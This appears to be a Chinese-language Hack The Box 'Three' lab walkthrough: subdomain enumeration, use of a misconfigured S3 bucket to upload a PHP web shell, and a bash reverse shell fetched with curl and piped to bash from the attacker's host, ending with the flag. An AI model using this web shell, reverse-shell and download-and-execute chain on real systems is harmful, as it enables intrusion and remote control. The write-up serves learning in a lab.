HTB_Three练习记录——AWS S3 bucket
目标ip:10.129.156.184
一、介绍
该靶机是一个包含网站的 Linux 系统,该网站使用 AWS S3 存储桶作为其云存储设备。我们可以利用这个配置不当的 S3 存储桶,并在其上上传一个反向 shell。然后,我们可以访问相应的 URL 来执行反向文件,最终检索到 flag。
二、信息收集
sudo nmap -sV 10.129.156.184

发现,“contact”表单会向 PHP 页面 /action_page.php 提交请求,这表明该 Web 应用程序的服务器后端是使用 PHP 构建的。

让我们在 /etc/hosts 文件中添加 thetoppers.htb 的条目,并添加相应的 IP 地址,以便能够在浏览器中访问该域。

几乎一样的页面:

三、子域名枚举
如果我们访问 hackthebox.com,就可以访问主网站。或者,我们可以访问 ctf.hackthebox.com,访问网站中用于 CTF 的部分。在这种情况下,ctf 是子域名,hackthebox 是主域名,com 是顶级域名 (TLD)。
不同的子域名会有不同的 IP 地址。一台服务器也可以处理多个子域名。这通过“host-based routing”或“virtual host routing”实现,服务器使用 HTTP 请求中的 Host 标头来确定哪个应用程序应该处理该请求。
下载字典:
wget https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt
开始爆破:
gobuster vhost -w subdomains-top1million-5000.txt -u http://thetoppers.htb/ --append-domain

gobuster 结果显示存在2个名为 s3.thetoppers.htb和 gc._msdcs.thetoppers.htb 的子域名。让我们在 /etc/hosts 文件中添加子域名的条目。

浏览器访问 gc._msdcs.thetoppers.htb:

让我们使用浏览器访问 s3.thetoppers.htb:

存储在 Amazon S3 存储桶中的文件被称为 S3 对象。
我们可以借助 awscli 实用程序与此 S3 存储桶进行交互。它可以使用以下命令在 Linux 上安装:apt install awscli
首先,我们需要使用以下命令对其进行配置: aws configure
我们将对所有字段使用任意值,因为有时服务器配置为不检查身份验证(但仍然必须将其配置为某些值才能使 aws 正常工作)。

我们可以使用 ls 命令列出服务器托管的所有 S3 存储桶: aws --endpoint=http://s3.thetoppers.htb s3 ls
我们还可以使用 ls 命令列出指定 bucket 下的对象和常用前缀:
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

我们在指定的存储桶中看到了文件 index.php 、 .htaccess 以及一个名为 images 的目录。这似乎是在端口 80 上运行的网站的 Web 根目录。因此,Apache 服务器正在使用此 S3 存储桶作为存储。
awscli 还有另一个功能,允许我们将文件复制到远程存储桶。我们已经知道该网站使用的是 PHP。因此,我们可以尝试将一个 PHP shell 文件上传到 S3 存储桶。由于该文件会上传到 web 根目录,因此我们可以在浏览器中访问该网页,进而执行该文件,最终实现远程代码执行。
创建一个要上传的 PHP 文件:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
使用以下命令将此 PHP shell 上传到 thetoppers.htb S3 存储桶:
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb

我们可以通过访问 http://thetoppers.htb/shell.php 来确认我们的 shell 已上传。让我们尝试使用 URL 参数 cmd 执行操作系统命令 id 。


不知道为什么,域名http://s3.thetoppers.htb/不显示id的回显。
创建一个新的文件 shell.sh 来获得一个反向 shell:

#! /bin/bash
bash -i >& /dev/tcp/10.10.16.5/1337 0>&1
在本地端口 1337 上启动 ncat 监听器:
nc -nvlp 1337
在本地机器的 8000 端口上启动一个 Web 服务器,并托管这个 bash 文件。
python3 -m http.server 8000
可以使用 curl 从本地主机获取 bash 反向 shell 文件,然后将其通过管道传输到 bash 执行:
http://thetoppers.htb/shell.php?cmd=curl%2010.10.16.5:8000/re_shell.sh|bash
从你的Python HTTP服务器下载shell.sh脚本,通过管道传给bash执行。


flag:a980d99281a28d638ac68b9bf9453c2b
测试:
两台linux,一台kali作为受害机,一台ubuntu作为攻击机。
kali:sudo vim shell.sh
sh文件内容如下:
#! /bin/bash
bash -i >& /dev/tcp/[ubuntu的ip]/1337 0>&1
授予执行权限:
sudo chmod +x shell.sh
执行:
./shell.sh
Ubuntu:
监听1337端口:
nc -lnvp 1337
等待连接:


浙公网安备 33010602011771号